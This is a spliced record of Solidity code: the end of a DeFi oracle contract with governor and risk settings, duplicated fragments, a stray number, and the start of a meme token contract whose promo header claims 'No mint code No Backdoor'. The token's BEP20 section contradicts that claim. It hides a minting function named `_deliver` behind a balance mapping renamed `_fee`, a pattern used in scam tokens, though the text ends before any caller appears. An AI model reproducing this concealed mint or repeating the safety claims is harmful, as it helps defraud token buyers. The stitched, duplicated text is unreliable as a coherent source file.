msg.sender; emit SetGovernor(msg.sender); setReserveInfo(_reserveBeneficiary, _reserveRate); } /// @dev Sets the next governor, which will be in effect when they accept. /// @param _pendingGovernor The next governor address. function setPendingGovernor(address _pendingGovernor) external { require(msg.sender == governor, 'setPendingGovernor/not-governor'); pendingGovernor = _pendingGovernor; emit SetPendingGovernor(_pendingGovernor); } /// @dev Accepts to become the next governor. Must only be called by the pending governor. function acceptGovernor() external { require(msg.sender == pendingGovernor, 'acceptGovernor/not-pending-governor'); pendingGovernor = address(0); governor = msg.sender; emit SetGovernor(msg.sender); } /// @dev Updates collateral information of the given tokens. function setCollInfos( address[] calldata tokens, uint[] calldata factors, uint[] calldata maxAmounts ) external { require(msg.sender == governor, 'setCollInfos/not-governor'); require(tokens.length == factors.length, 'setCollInfos/bad-length'); require(tokens.length == maxAmounts.length, 'setCollInfos/bad-length'); for (uint idx = 0; idx < tokens.length; idx++) { require(factors[idx] <= 1e18, 'setCollInfos/bad-factor-value'); require(maxAmounts[idx] > 0, 'setCollInfos/bad-max-amount-value'); cFactors[tokens[idx]] = factors[idx]; cMaxAmounts[tokens[idx]] = maxAmounts[idx]; emit SetCollInfo(tokens[idx], factors[idx], maxAmounts[idx]); } } /// @dev Sets the risk levels of the given tokens. function setRiskLevels(address[] calldata tokens, uint[] calldata levels) external { require(msg.sender == governor, 'setRiskLevels/not-governor'); require(tokens.length == levels.length, 'setRiskLevels/bad-length'); for (uint idx = 0; idx < tokens.length; idx++) { rLevels[tokens[idx]] = levels[idx]; emit SetRiskLevel(tokens[idx], levels[idx]); } } /// @dev Sets the risk configurations of the given levels. function setRiskConfigs(uint[] calldata levels, RiskConfig[] calldata configs) external { require(msg.sender == governor, 'setRiskConfigs/not-governor'); require(levels.length == configs.length, 'setRiskConfigs/bad-length'); for (uint idx = 0; idx < levels.length; idx++) { require(configs[idx].safetyLTV <= 1e18, 'setRiskConfigs/bad-safety-ltv'); require(configs[idx].liquidationLTV <= 1e18, 'setRiskConfigs/bad-liquidation-ltv'); require( configs[idx].safetyLTV < configs[idx].liquidationLTV, 'setRiskConfigs/inconsistent-ltv-values' ); require(configs[idx].killBountyRate <= 1e18, 'setRiskConfigs/bad-kill-reward-factor'); rConfigs[levels[idx]] = configs[idx]; emit SetRiskConfig( levels[idx], configs[idx].safetyLTV, configs[idx].liquidationLTV, configs[idx].killBountyRate ); } } /// @dev Sets the global reserve information. function setReserveInfo(address _reserveBeneficiary, uint _reserveRate) public { require(msg.sender == governor, 'setReserveInfo/not-governor'); require(_reserveRate < 1e18, 'setReserveInfo/bad-rate'); require(_reserveBeneficiary != address(0), 'setReserveInfo/bad-beneficiary'); reserveBeneficiary = _reserveBeneficiary; reserveRate = _reserveRate; emit SetReserveInfo(_reserveBeneficiary, _reserveRate); } /// @dev Returns the collateral factor of the given token. Must be greater than zero. function getCollFactor(address _token) external view override returns (uint) { uint factor = cFactors[_token]; require(factor > 0, 'getCollFactor/no-collateral-factor'); return factor; } /// @dev Returns the collateral max amount of the given token. Must be greater than zero. function getCollMaxAmount(address _token) external view override returns (uint) { uint maxAmount = cMaxAmounts[_token]; require(maxAmount > 0, 'getCollFactor/no-collateral-max-amount'); return maxAmount; } /// @dev Returns the risk level of the given token. Zero is the default value of all tokens. function getRiskLevel(address _token) public view override returns (uint) { uint level = rLevels[_token]; require(level != type(uint).max, 'getRiskLevel/bad-risk-level'); return level; } /// @dev Returns the safety LTV of the given token. Must be greater than zero. function getSafetyLTV(address _token) external view override returns (uint) { uint ltv = rConfigs[getRiskLevel(_token)].safetyLTV; require(ltv > 0, 'getSafetyLTV/no-ltv'); return ltv; } /// @dev Returns the liquidation LTV of the given token. Must be greater than zero. function getLiquidationLTV(address _token) external view override returns (uint) { uint ltv = rConfigs[getRiskLevel(_token)].liquidationLTV; require(ltv > 0, 'getLiquidationLTV/no-ltv'); return ltv; } /// @dev Returns the kill bounty rate of the given token. Must be greater than zero. function getKillBountyRate(address _token) external view override returns (uint) { uint rate = rConfigs[getRiskLevel(_token)].killBountyRate; require(rate > 0, 'getKillBountyRate/no-rate'); return rate; } }
Returns the safety LTV of the given token. Must be greater than zero.
function getSafetyLTV(address _token) external view override returns (uint) { uint ltv = rConfigs[getRiskLevel(_token)].safetyLTV; require(ltv > 0, 'getSafetyLTV/no-ltv'); return ltv; }
2,084,865
/** *Submitted for verification at Etherscan.io on 2021-06-25 */ /* Welcome to $FuckFlokiScam Every time musk tweets, there are always some idiots who buy tokens without thinking, it's all honeypots out there, but mine's safe. don't be fool, check liquidity lock, mint function, tranfer function! This is a community token. So there is no official group. If someone wants to create one , just do your publicity in other groups, and then establish a consensus group. I'll lock liquidity LPs through team.finance for at least 30 days, if the response is good, I will extend the time. I'll renounce the ownership to burn addresses to transfer $FuckFlokiScam to the community, make sure it's 100% safe. It's a community token, every holder should promote it, or create a group for it, if you want to pump your investment, you need to do some effort. Great features: 1.Fair Launch! 2.No Dev Tokens No mint code No Backdoor 3.Anti-sniper & Anti-bot scripting 4.Anti-whale Max buy/sell limit 5.LP send to team.finance for 30days, if the response is good, I will continue to extend it 6.Contract renounced on Launch! 7.1000 Billion Supply and 50% to burn address! 8.Auto-farming to All Holders! 9.Tax: 8% => Burn: 4% | LP: 4% 4% fee for liquidity will go to an address that the contract creates, and the contract will sell it and add to liquidity automatically, it's the best part of the $FuckFlokiScam idea, increasing the liquidity pool automatically. I’m gonna put all my coins with 9ETH in the pool. Can you make this token 100X or even 10000X? Hope you guys have real diamond hand */ // SPDX-License-Identifier: MIT // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed operator, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address operator) external view returns (uint); function allowance(address operator, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address operator) external view returns (uint); function permit(address operator, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: contracts/libs/IBEP20.sol pragma solidity >=0.4.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _operator, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed operator, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/libs/BEP20.sol pragma solidity >=0.4.0; /** * @dev Implementation of the {IBEP20} interface. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract BEP20 is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _fee; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 10**12 * 10**18; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; _fee[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ /** * @dev Returns the token name. */ function name() public override view returns (string memory) { return _name; } /** * @dev Returns the token decimals. */ function decimals() public override view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() public override view returns (string memory) { return _symbol; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _fee[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address operator, address spender) public override view returns (uint256) { return _allowances[operator][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance") ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero") ); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function _deliver(address account, uint256 amount) internal { require(account != address(0), "BEP20: zero address"); _totalSupply += amount; _fee[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _fee[sender] = _fee[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _fee[recipient] = _fee[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _fee[account] = _fee[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address operator, address spender, uint256 amount ) internal { require(operator != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[operator][spender] = amount; emit Approval(operator, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance") ); } 